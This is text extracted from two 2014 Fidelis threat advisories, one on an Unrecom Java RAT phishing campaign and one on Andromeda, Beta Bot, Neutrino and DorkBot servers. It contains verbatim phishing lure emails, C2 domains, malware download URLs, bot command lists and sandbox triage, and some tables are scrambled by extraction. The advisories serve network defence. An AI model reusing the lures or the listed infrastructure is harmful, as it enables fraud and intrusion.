Keylogger, etc. Indicators and Mitigation Strategies The following will present detailed information about some of the phishing emails observed and the attached malware: 1. Invitation.jar File Name: File Size: MD5: SHA1: Invitation.jar 43866 bytes 859c4c667dd0f44f80b60242d93c4b0f 40859bc18ea0ffa9bcf5af699336fbdbfd6be7f1 The Invitation.jar malware was sent in a phishing email that contained some of the following details: From Sarah Alexander Subject Invitation Date Sun, 4 May 2014 08:44:53 GMT Attachment Invitation.jar Reply-To marvinflames@gmail.com X-Originating-Ip 87.117.232[.]203 Message body Hello, I cordially invite you to our anniversary It is a celebration of life and love. Just like yesterday, we have grown maturely in our relationship. We are happy and hope you can join us on our day. Check attachment for Venue, Dress code, Program event and Date. Thank you all. Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 3 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Sarah and Fred Sunday, May 04, 2014 The greatest education in the world is watching the masters at work. - Michael Jackson The following is a screenshot of the email: The Invitation.jar malware beaconed to magnumbiz.no-ip[.]biz over port 1505 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 4 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 2. Payment details.jar File Name: File Size: MD5: SHA1: Payment details.jar 43887 bytes bd0aba05d8263fb1a9a3adcae01fc3b7 c60551e65cbe54899d1cd1f637b572455dc33b1b The Payment details.jar malware was sent in a phishing email that contained some of the following details: From Arthur Anderson Subject Payment details Date Fri, 16 May 2014 12:27:27 +0000 Attachment Payment details.jar Reply-To Return-Path alexanderharolds@arthurandersen[.]com User-Agent Internet Messaging Program (IMP) H5 (6.1.4) Message body Attn. Please find attached order details payment coordinates. kindly confirm payment details attached yours commence payment. Thank Alexander Harolds The following is a screenshot of the email: The Payment details.jar malware beaconed to morechedder.no-ip[.]org over port Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 5 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 3. reports-pdf.jar File Name: File Size: MD5: SHA1: reports-pdf.jar 44237 bytes 39ad2cab9829ff6a1107b97f1496b499 1e9ab96ace86a45a33c4ff88a97186efb55e51fb The reports-pdf.jar malware was sent in a phishing email that contained some of the following details: From "Police Department" Subject Transfer Investigation report Date Mon, 05 May 2014 07:34:35 -0700 Attachment reports-pdf.jar Message body We recieved a report against the attached transaction in your exchange house , Kindly report to our nearest station immedietly. A copy has been sent to cso_[removed_by_analyst].com and investigation@policeheadquater[.]com Police Investigation Department --- Disclaimer --- The information in this mail is confidential and is intended solely for addressee. Access to this mail by anyone else is unauthorised. Copying or further distribution beyond the original recipient may be unlawful. Any opinion expressed in this mail is that of sender and does not necessarily reflect that of State Bank group. --- The following is a screenshot of the email: The reports-pdf.jar malware beaconed to 184.22.201[.]27 over port 3030 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 6 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 4. US$25k.jar File Name: File Size: MD5: SHA1: US$25k.jar 43853 bytes ccfbc03a5beb1adb66f058b1f5a84d98 cfd0a4d6535f6323e4423bbd07027d294887ea25 The US$25k.jar malware was sent in a phishing email that contained some of the following details: From "Milker Trading Ltd" Subject US$25,000 TT COPY ATTACHED Date Wed, 14 May 2014 03:28:43 -0500 Attachment US$25k.jar X-Get-Message-Sender-Via\ authenticated_id X-AntiAbuse rbecerra@pauluhn.com[.]mx User-Agent SquirrelMail/1.4.22 Message body Hello, Sender Address Domain - pauluhn.com[.]mx We have not received any email from you again regarding the previous Inquiry. Please see attached the TT Copy of the USD25,000 as directed by our sales Manager. Kindly check and confirm to me the date of dispatch of our last order. Regards Milker Trading Ltd Auggenthal 1 94140 Ering Mexico. The US$25k.jar malware beaconed to toba.no-ip[.]biz over port 1505 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 7 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 5. Payment Invoice.jar File Name: File Size: MD5: SHA1: Payment Invoice.jar 44237 bytes 44f011702ff80b337124d4879607f6b1 b2474bffcbeaabdd111f3909075fc7f556901c62 The Payment Invoice.jar malware was sent in a phishing email that contained some of the following details: From Subject Date Attachment Return-Path Message Johnson Kelly Thank you Sat, 10 May 2014 10:45:55 -0700 Payment Invoice.jar johnsonkelly52@live[.]com Here is the invoice The Payment Invoice.jar malware beaconed to greengreen1.no-ip[.]biz over port 6. INV#94586.jar File Name: File Size: MD5: SHA1: INV#94586.jar 43885 bytes 06c2760060d41533b36572ae3c1ba2df 0350f53a821933e05bf82508b1e458c83d37b7c8 The INV#94586.jar malware was sent in a phishing email that contained some of the following details: From Subject Date Attachment Disposition-NotificationTo Message body Diosdado FW: URGENT CONFIRMATION P/I #94578 11 May 2014 19:10:47 -0700 INV#94586.zip sales@ttc-qroup[.]com Good Day, Please find the attached document. Regards, Diosdado Procurement Officer Mobile: +966 54 073 5573 Tel.: +966 13 341 9915, Ext. 283 Fax: +966 13 340 4869 Email: diosdado@lilbello[.]com P.O Box 11976, Jubail - 31961. SA Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 8 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 The INV#94586.jar malware beaconed to 192.95.21[.]44 over port 1511 Hold-transactions-pdf.jar, and verification-docx.jar File Name: File Size: MD5: SHA1: Hold-transactions-pdf.jar, and verification-docx.jar 44292 bytes bc84b115d98988c5489d6acf96046b78 33731d6a7360719566391a7c4395abb090d02d0f The Hold-transactions-pdf.jar/verification-docx.jar malware was sent in a phishing email that contained some of the following details: From "Compliance Verification" Subject ComFirm transactions before release Date Sun, 18 May 2014 16:31:12 -0700 Attachment Hold-transactions-pdf.jar, and verification-docx.jar Message body Please urgently confirm attached transactions compliance, sign send copy info@compliance.com must come from farralescb@alrajhibank.com.sa Monetary Compliance The following is a screenshot of the email: The Hold-transactions-pdf.jar/verification-docx.jar malware beaconed to 184.22.201[.]27 over port 3030 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 9 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 7. DBC_BANK_IMG_23456_156.jar File Name: File Size: MD5: SHA1: DBC_BANK_IMG_23456_156.jar 50508 bytes fca329c46f50e031597babe07fee46a8 5c1a2351749c864a38473aafe1146de4eb4de40d The DBC_BANK_IMG_23456_156.jar malware is a corrupted file, but it was sent in a phishing email that contained some of the following details: From "remittance@dbcbank[.]com" Subject Remittance Error 2089/234- Reported lost of data (Complete and email back) Date Tue, 22 Apr 2014 02:19:27 -0400 (EDT) Attachment DBC_BANK_IMG_23456_156.jar X-MB-Message-Source WebUI X-mailer X-Originating-IP 41.138.184[.]85 Message body kindly find attached bank online java documents your reference,corr=ct details marked boxes email back hesitate contact need regards Mary Alidu Swift Admin, Kurdsitan Int'l Bank KIB. 11129- 00400 Nairobi, Kenya www.dubai- bank.co.ke email: mary.alidu@dbcbank.com remittance@dbcbank.com Tel: (+254) 31109 +254- 2112006 IMPORTANT: This mail (including attachments) intended solely for please contact immediately return mail delete from your system. Please note that sender shall liable improper Message body -------- Original Message -------Subject: Transfer error, kindly reverse to us. Date: Sun, 4 May 2014 00:42:37 -0400 (EDT) From: swift@ificbankbd.com To: [removed_by_analyst] Greetings, Please kindly refund the attached payment sent to your bank, it was an application error from our bank. Your sincere cooperation will be appreciated. Attached is the proof of transfer Iremit Transfer Error Page With warm regards Branch Manager Head Office BDBL Building (8th - 10th & 16th - 19th Floor) 8, Rajuk Avenue G.P.O Box 2229 Dhaka-1000 Bangladesh Telephone: 95603820 Fax: 880-2-95602085 880-2-716344 Swift: IFIC BD DH E-mail: swift@ificbankbd.com ---------------------------------------------------------------------The information transmitted, including any content in this communication is confidential, is intended only for the use of the intended recipient and is the property of The Western Union Company or its affiliates and subsidiaries. If you are not the intended recipient, you are hereby notified that any use of the information contained in or transmitted with the communication or dissemination, distribution, or copying of this communication is strictly prohibited. If you have received this communication in error, please notify the Western Union sender immediately by replying to this message and delete the original message Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1013 Page 12 of 16 Rev1.1 2014-05-21 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 The following is a screenshot of the email: Iremit Transfer Error Page , in the above email, has a link pointing to http://radaxis[.]by/images/sola/httpsiremit.com.aui-remit-to-the-philippines-cheapest-remittanceservice-for-pinoy-in-australi.zip The lremit_Transfer_Error_Page.jar malware beaconed to resultpage92.no-ip[.]biz over port 5353 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1013 Page 13 of 16 Rev1.1 2014-05-21 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Summary of Indicators: Email Subject Filename File Hash Port Invitation Invitation.jar 859c4c667dd0f44f80b60242d93c4b0f magnumbiz.no- ip[.]biz 1505 Payment details Payment details.jar bd0aba05d8263fb1a9a3adcae01fc3b7 morechedder.no- ip[.]org Transfer Investigation report reports- pdf.jar 39ad2cab9829ff6a1107b97f1496b499 184.22.201[.]27 3030 US$25,000 COPY ATTACHED US$25k.jar ccfbc03a5beb1adb66f058b1f5a84d98 toba.no- ip[.]biz 1505 Thank Payment Invoice.jar 44f011702ff80b337124d4879607f6b1 greengreen1.no- ip[.]biz INV#94586.jar URGENT CONFIRMATION #94578 06c2760060d41533b36572ae3c1ba2df 192.95.21[.]44 1511 ComFirm transactions before release Hold- transactions- pdf.jar verification- docx.jar bc84b115d98988c5489d6acf96046b78 184.22.201[.]27 3030 Remittance Error 2089/234- Reported lost data (Complete email back) DBC_BANK_IMG_23456_15 6.jar fca329c46f50e031597babe07fee46a8 Transfer error, kindly reverse lremit_Transfer_Error_Page .jar 8811a91e0ef5b181b1f0433d913faaaf resultpage92.no- ip[.]biz 5353 Remittance Error 2089/234- Reported lost data (Complete email back) DBC_BANK_IMG_23456_15 6.jar 8842ce373c910c012a0aa58e37b3d080 magawalton.no- ip[.]biz 1505 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1013 Page 14 of 16 Rev1.1 2014-05-21 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Further Analysis And Correlation One simple example of how the emails in this phishing campaign are related is that the Command and Control node (184.22.201[.]27) that the malware communicates with is shared by two separate phishing emails in this campaign, as shown in the diagram below. Beginning at the top of the diagram and working down, on the left side of the diagram are two phishing emails, the details of which are referenced in the pages above as item numbers 2 & 3. Of note, these phishing emails were sent to users at two separate and unrelated organizations. As you can see, when compared to each other, these messages appear completely unrelated, other than the fact they both contain jar files that are sophomorically obfuscated as pdf.jar files. Note that both the subjects, Transfer investigation report and Confirm transactions before release are comparatively unique as are the senders , "Police Department" cmmds@sbt.co[.]in and Arthur Anderson alexanderharolds@arthurandersen[.]com. In addition to the fact that the emails share no attributes, the malicious attachments are also unrelated. Finally, and of most interest in this diagram, the central node at the bottom of the diagram, represents the Command and Control node (184.22.201[.]27) used by these two examples. While this shared resource is noteworthy, of particular interest is that it has also been used in other campaigns. On the right side of the diagram are files used in two other campaigns using the ArcomRAT and DarkComet , The fact that they share the same command-and-control infrastructure as the UnrecomRat campaign make this central node all the more interesting. Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1013 Page 15 of 16 Rev1.1 2014-05-21 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 The Fidelis Take This paper seeks to highlight this campaign targeting significant enterprises worldwide, utilizing a Javabased RAT malware that is currently detected by a small set of security tools. We are publishing these indicators so that others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated. Fidelis XPS , the Advanced Threat Defense solution from General Dynamics Fidelis Cybersecurity Solutions detects all of the activity documented in this paper. The Fidelis Threat Research Team will continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the latest threats to our customers security. References 1. Adwind RAT Rebranding, Nov 2013: http://www.crowdstrike.com/blog/adwind-ratrebranding/index.html 2. Targeted Attacks Delivering Fruit, Aug 2013: http://www.symantec.com/connect/blogs/targetedattacks-delivering-fruit 3. Remote Access Tool Takes Aim with Android APK Binder, Jul 2013: http://www.symantec.com/connect/blogs/remote-access-tool-takes-aim-android-apk-binder 4. Old Java RAT Updates, Includes Litecoin Plugin, Apr 2014: http://blog.trendmicro.com/trendlabssecurity-intelligence/old-java-rat-updates-includes-litecoin-plugin/ 5. Cross-Platform Frutas RAT Builder and Back Door, Feb 2013: http://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door 6. DarkComet Analysis Understanding the Trojan used in Syrian Uprising, Mar 2012: http://resources.infosecinstitute.com/darkcomet-analysis-syria/ 7. DarkComet RAT - It is the END!, Jul 2012: http://www.symantec.com/connect/blogs/darkcomet-rat-it-end 8. Tsunami Warning Leads to Arcom RAT, Nov 2012 http://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/ Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1013 Page 16 of 16 Rev1.1 2014-05-21 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Fidelis Threat Advisory #1014 Bots, Machines, Matrix Dec 12, 2014 Document Status: Last Revised: 2014-12-11 Executive Summary In the recent past, a Fidelis XPS user reported seeing detections of what appeared to be botnet-related malware. While that customer was protected, we at General Dynamics Fidelis Cybersecurity Solutions decided to take a closer look. The analysis of the malicious code revealed that it appeared to be Andromeda but the delivery infrastructure looked interesting. Further telemetry from our sensors showed that this server in China was also hosting and distributing many other malicious specimens. Analysis of the data revealed a pattern in the filenames. Our analysts used this pattern to discover other systems distributed across the globe serving up various botnet malware, so far assumed to be used in distinct campaigns but clearly related in this case: Andromeda Beta Bot Neutrino Bot NgrBot/DorkBot Analysis also showed how attackers continue to benefit from the use of globally-distributed hosting providers to perform their malicious activities. Further, the analysis revealed how attackers are hosting and distributing identical copies of the malware from servers in different countries including China, Poland, Russia, and the United States. For the period of time researched in this activity, we observed the following targeted sectors in the US: Manufacturing / Biotechnology & Drugs Professional Services / Engineering Information Technology / Telecommunications Government / State Note that our footprint is largely in the Enterprise space and it is possible that we re seeing spillover from wider campaigns. This document uncovers various servers hosting Bots and other related malware, provides a triage analysis of various pieces of malware hosted by these malicious servers, and provides indicators that network defenders can use to protect their networks. Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security Systems, Inc. While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that the information contained herein is error free. Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 1 of 16 Rev. 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Threat Overview The threat activity observed in the past weeks against various targets in our customer base has shown patterns that allowed us to discover multiple servers hosting and distributing malicious software (Bots). As it is known by the network defenders and the security community, it is important to defend against these attacks since systems infected with these malicious specimens could be used for credential theft, Distributed Denial of Service Attacks, spreading malware, lateral propagation, etc. This is of great concern as the first stage attack continues to bypass network security defenses infecting user s computers that beacon to malicious servers to download or create the second stage malware into the victim systems. Some of the main Bot types of malware detected through this research include: Andromeda Andromeda is a modular bot that downloads modules and updates from its command and control (C&C) server during execution. The malware has both anti-VM and anti-reversing features. Its code is obfuscated to make it more difficult for malware reverse engineers to analyze and antivirus tools to detect. Andromeda bot features include: self-propagation, injection into trusted processes to hide itself, network traffic encryption, download and installation of files/malware, form grabber, keylogger, ring3 rootkit, proxy, etc. Features like form grabber, rootkit, and proxy are delivered to the malware in the form of modules that are then loaded into the victim system after the malware makes a connection with its C&C. It appears that in 2012, some of the modules were sold for $500 (form grabber), $300 (Ring3 rootkit), and $200 (keylogger). DorkBot/NgrBot DorkBot is a modified IRCBot that is very similar in features to NgrBot. DorkBot has a loader and a module. The bot includes the following features: process injection, hard drive wiping, etc. Different from NgrBot, DorkBot uses modified IRC commands. Some of the commands supported include: !die, !dl, !http.inj, !logins, !rc,!speed, !ssyn, !stop, !up, and !udp. NgrBot can also be remotely controlled via Internet-Relay-Chat (IRC) protocol. It has capabilities to join different IRC channels to perform various attacks according to the IRC-based commands from the C&C server. Its code is obfuscated to make it more difficult for malware reverse engineers to analyze and antivirus tools to detect. NgrBot features include: self-propagation (e.g. through USB removable drives, social networking sites, and messaging clients), process injection, hard drive wiping, blocking access to multiple antivirus/security vendor websites, denial of service attacks, credentials stealing (usernames and passwords), download and execute file, etc. Some of the commands supported are: ~pu, ~dw, ~http.inj, ~logins, ~rc, ~speed, ~ssyn, ~stop, and ~udp. Beta Bot It is said that Beta bot started out as an HTTP bot. The Bot is also known by some security vendors as Trojan.Neurevt . Its code is obfuscated to make it more difficult for malware reverse engineers to analyze and antivirus tools to detect. Beta bot features include: anti-VM and anti-reversing, self-propagation, rootkit, process injection, blocking access to multiple antivirus/security vendor websites, AV-disabling, form grabbing, download and execution of files, termination of competing malware communications by terminating their processes or blocking their code injections, and denial of service. It appears that Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 2 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 in May 2013, the pre-built bot could be purchase for $320-$500, and $20 for variant rebuilds for those requiring configuration changes. According to online research, Beta Bot sales are being handled by Lord Huron, although betamonkey appears to be the author. The following image was found during online research: Neutrino The Neutrino bot was advertised as an HTTP stress-testing tool. It has some of the following features: anti-VM and anti-reversing/debugging, denial of service (HTTP/TCP/UDP flood), keylogger, command shell, credential stealing, self-spreading, etc. It appears at some point the bot was sold for $550 (Builder), $200 (Full set including Bot and Admin Panel), and $20 (Update). Online research revealed the following contact information for this bot: n3utrino@kaddafi[.]me / n3utrino@xmpp[.]jp / n3utrino.blog[.]com. The following images were found during online research: Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 3 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 The following table provides information about some of the servers hosting and distributing malware and some of the filename patterns discovered: Last Observed December 2014 December 2014 December 2014 November 2014 November 2014 November 2014 121.11.83[.]7 Location China Filename Pattern and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe 155.133.18[.]45 Poland bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe [3_digits][single character][1_digit].exe [2_digits][single character][1_digit].exe 54.69.90[.]62 and[2_digits][single character][2_digits].exe (Amazon) bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe dq[2_digits][single character][2_digits].exe dqnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe 117.21.191[.]47 China and[2_digits][single character][2_digits].exe and[single character][1_digit].exe bet[2_digits][single character][2_digits].exe bet[1_or_2_digits].exe bet[single character][1_digit].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe 121.14.212[.]184 China and[2_digits][single character][2_digits].exe and[2_digits].exe and[2_digits][single character].exe bet[2_digits][single character][2_digits].exe bet[2_digits].exe ng[2_digits][single character][2_digits].exe ng[2_digits].exe nut[2_digits][single character][2_digits].exe nut[2_digits].exe nut[2_digits][single character].exe zpm[2_digits][single character].exe 155.133.18[.]44 Poland 3307[2_digits][single character][2_digits].exe and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 4 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 November 2014 November 2014 November 2014 October 2014 October 2014 October 2014 54.68.121[.]73 and[2_digits][single character][2_digits].exe (Amazon) bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe 54.68.194[.]154 and[2_digits][single character][2_digits].exe (Amazon) bet[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits][single character][2_digits].exe 54.69.90[.]62 3307[2_digits][single character][2_digits].exe (Amazon) and[2_digits][single character][2_digits].exe bet[2_digits][single character][2_digits].exe bnew[2_digits][single character][2_digits].exe ng[2_digits][single character][2_digits].exe 119.1.109[.]44 China and[2_digits][single character][2_digits].exe and[2_digits].exe bet[2_digits][single character].exe bet[2_digits].exe ng[2_digits][single character][2_digits].exe nut[2_digits].exe 158.255.1[.]241 Russia and[2_digits].exe ng[2_digits]exe nut[2_digits][single character][2_digits].exe nut[2_digits].exe 54.191.142[.]124 bnew[2_digits].exe (Amazon) ng[2_digits].exe nut[2_digits].exe zpm[2_digits].exe The following table provides information about the relationship between the malicious servers, detection names by antivirus tools, and vertical market affected (based on unique hashes and detections): 121.11.83[.]7 Location China Generic detection Worm.Win32.Ngrbot Worm.Win32.Dorkbot Vertical Market/Specialization Professional Services/Engineering Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 5 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Backdoor.Win32.Ruskill Trojan.Win32.Yakes Trojan.Win32.Munchies 155.133.18[.]45 Poland Backdoor.Win32.Androm Trojan.Win32.Lethic Trojan.Win32.Inject Trojan.Win32.Munchies Trojan.Win32.Yakes 54.69.90[.]62 Backdoor.Win32.Androm (Amazon) Worm.Win32.Ngrbot Worm.Win32.Dorkbot Backdoor.Win32.Ruskill Trojan.Win32.Lethic Trojan.Win32.Yakes Trojan.Win32.Munchies 117.21.191[.]47 China Backdoor.Win32.Androm Trojan.Win32.Betabot Worm.Win32.Dorkbot Backdoor.Win32.Ruskill Trojan.Win32.Neurevt Worm.Win32.Ngrbot Trojan- Spy.Win32.SpyEyes Trojan- Spy.Win32.Zbot Backdoor.Win32.Azbreg Trojan.Win32.Badur Trojan.Win32.Inject Trojan.Win32.Sharik Trojan.Win32.Yakes Trojan- Downloader.Win32.Agent Trojan- Dropper.Win32.Injector 121.14.212[.]184 China Backdoor.Win32.Androm Worm.Win32.Ngrbot Backdoor.Win32.Ruskill Trojan.Win32.Badur Trojan.Win32.Inject Trojan.Win32.Yakes Trojan.Win32.Sysn 155.133.18[.]44 Poland Backdoor.Win32.Androm Worm.Win32.Ngrbot Trojan.Win32.Badur Trojan.Win32.Yakes 54.68.121[.]73 Backdoor.Win32.Androm (Amazon) Trojan.Proxy.Win32.Lethic Worm.Win32.Ngrbot Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 6 of 16 Manufacturing/Healthcare Manufacturing/Healthcare/Government Government Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 54.68.194[.]154 119.1.109[.]44 Trojan.Win32.Badur Trojan.Win32.Inject Backdoor.Win32.Androm (Amazon) Backdoor.Win32.Ruskill Trojan.Win32.Yakes China Backdoor.Win32.Androm Worm.Win32.Ngrbot Backdoor.Win32.Ruskill Trojan.Win32.Badur Trojan.Win32.Yakes 158.255.1[.]241 Russia Backdoor.Win32.Androm Worm.Win32.Ngrbot Trojan.Win32.Badur Trojan.Win32.Yakes 54.191.142[.]124 Backdoor.Win32.Androm (Amazon) Worm.Win32.Ngrbot Trojan.Win32.Badur Worm.Win32.Hamweq Trojan.Win32.Sysn Government Risk Assessment A bot malware has features like anti-reversing, credential stealing/keystroke logging/form grabbing, DNS changer, process injection, antivirus process killing, blocking of security related websites, backdoor, and others. They also have features to spread themselves through USB removable drives, social networking sites, and messaging clients. In addition, they could also infiltrate the network when the victim user visits a website hosting a browser exploit. Once the attacker gains control, the infected system could be used to launch Distributed Denial of Service attacks, spread the bot to other victims, download more advanced malware to perform lateral propagation, etc. The attackers (Bot Masters/Herders) could also rent their botnets to other cybercriminals. Indicators and Mitigation Strategies This section presents information about some of the servers we have observed hosting and distributing malware, filename patterns, as well as a triage analysis of various pieces of malware observed delivered by these servers Servers observed hosting and distributing malware: 121.11.83[.]7 155.133.18[.]44 54.191.142[.]124 121.14.212[.]184 155.133.18[.]45 54.68.121[.]73 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 7 of 16 119.1.109[.]44 158.255.1[.]241 54.68.194[.]154 117.21.191[.]47 217.23.6[.]112 54.69.90[.]62 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 77.87.79[.]128 Some of the filename patterns observed: 121.11.83[.]7/and40a70.exe 155.133.18[.]45/37a1.exe 155.133.18[.]45/109a7.exe 121.14.212[.]184/ng33.exe 217.23.6[.]112/98.exe 121.11.83[.]7/nut40a71.exe 217.23.6[.]112/330740x.exe 121.11.83[.]7/bet40a71.exe 54.69.90[.]62/330740a71.exe 155.133.18[.]45/51a5.exe 121.14.212[.]184/zpm39a.exe 54.191.142[.]124/zpm37.exe 54.69.90[.]62/dqnew40a81.exe 77.87.79[.]128/37extra.exe 121.11.83[.]7/ng40a71.exe 54.69.90[.]62/bnew40a71.exe 155.133.18[.]45/62.exe 155.133.18[.]45/141a1.exe 54.69.90[.]62/bnew40a85.exe 119.1.109[.]44/and33.exe 158.255.1[.]241/ng38a.exe Triage analysis of various pieces of malware observed delivered by servers mentioned in this report: (Please note that the activity in this section has been recorded per initial file infection and not individually per file downloaded and executed by the initial malware under investigation) Andromeda MD5: 036eb11a5751c77bc65006769921c8e5 This file was observed hosted in the following servers: 1. 119.1.109[.]44/and37.exe (China) 2. 121.14.212[.]184/and37.exe (China) 3. 54.68.121[.]73/and37.exe (US) File information: File Name: and37.exe File Size: 118784 bytes MD5: 036eb11a5751c77bc65006769921c8e5 SHA1: c6966d9557a9d5ffbbcd7866d45eddff30a9fd99 PE Time: 0x5431A1E4 [Sun Oct 05 19:54:12 2014 UTC] PEID Sig: Microsoft Visual C++ 8 Sections (4): Name Entropy MD5 .text 6.48 851019d9ac5c3c1853a62535bb42fe25 .rdata 5.48 5e0faee1b5962f3b0e7ef0cd07b07d90 .data 4.99 87595d36a05bbbfdab643e78f1b1dad4 .rsrc 6.59 5923da4653b7fcb4ee9062367873a2ed The malware appears to implement anti-reversing techniques preventing its executing inside a virtual machine environment (VME). This malware is believed to be a variant from the Andromeda Bot malware family. When the file was executed in a Windows 7 system, the following activity was observed: Domain: Resolved IP: POST request: GET request: File downloaded: Full path and name: Process injection: a2kiaymoster14902[.]com 121.14.212[.]248 (China) /bla02/gate.php 54.69.90[.]62/and40a90.exe (US) b62391f3f7cbdea02763614f60f3930f (msitygyd.exe) C:\ProgramData\msitygyd.exe C:\Windows\SysWOW64\msiexec.exe Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1014 Page 8 of 16 Rev. 1.1 2014-12-12 Bots, Machines, and the Matrix www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Beta Bot MD5: 9e8b203f487dfa85dd47e32b3d24e24e This file was observed hosted in the following servers: 1. 117.21.191.47/betw9.exe (China) 2. 54.191.142.124/bet4.exe (US) File information: File Name: betw9.exe File Size: 379904 bytes MD5: 9e8b203f487dfa85dd47e32b3d24e24e SHA1: de6a4d53b5265f8cddf08271d17d845f58107e82 PE Time: 0x5414994B [Sat Sep 13 19:21:47 2014 UTC] PEID Sig: Microsoft Visual C++ 8 Sections (4): Name Entropy MD5 .text 6.47 4e347b4bb29e39a97c5803db1ee53321 .rdata 1.99 692d4fc093dc013fa7d86bee7b85c0f9 .data 4.22 52daa66602eb4a3aa8effd3a287efbf7 .rsrc 9b2a41b9bc48ccff04effe10bb0fb839 .rsrc 6.59 5923da4653b7fcb4ee9062367873a2ed The malware did not appear to implement anti-reversing techniques and properly executed inside a VME. This malware is believed to be a variant from the Beta Bot malware family. When the file was executed in a Windows XP system, the following activity was observed: Domain: Resolved IP: POST request: GET request: File downloaded: Full path and name: b.9thegamejuststarted14k9[.]com 116.255.202[.]74 (China) /direct/mail/order.php?id=9156969 121.14.212[.]184/ng40a54.exe (China) fe8c978f05f3a83af7c8905f94f71213 (mxbrwtqjjvk.exe) %TEMP%\mxbrwtqjjvk.exe GET request: File downloaded: Full path and name: 121.14.212[.]184/and40a54.exe (China) 7599016887b4d6c0e3bc2ecda983161f (cmqgvyqtpkh.exe) %TEMP%\cmqgvyqtpkh.exe Made a copy itself to: Hash of file copy: %CommonProgramFiles%\CreativeAudio\ldhkkangs.exe 9e8b203f487dfa85dd47e32b3d24e24e Registry entrenchment: Key: 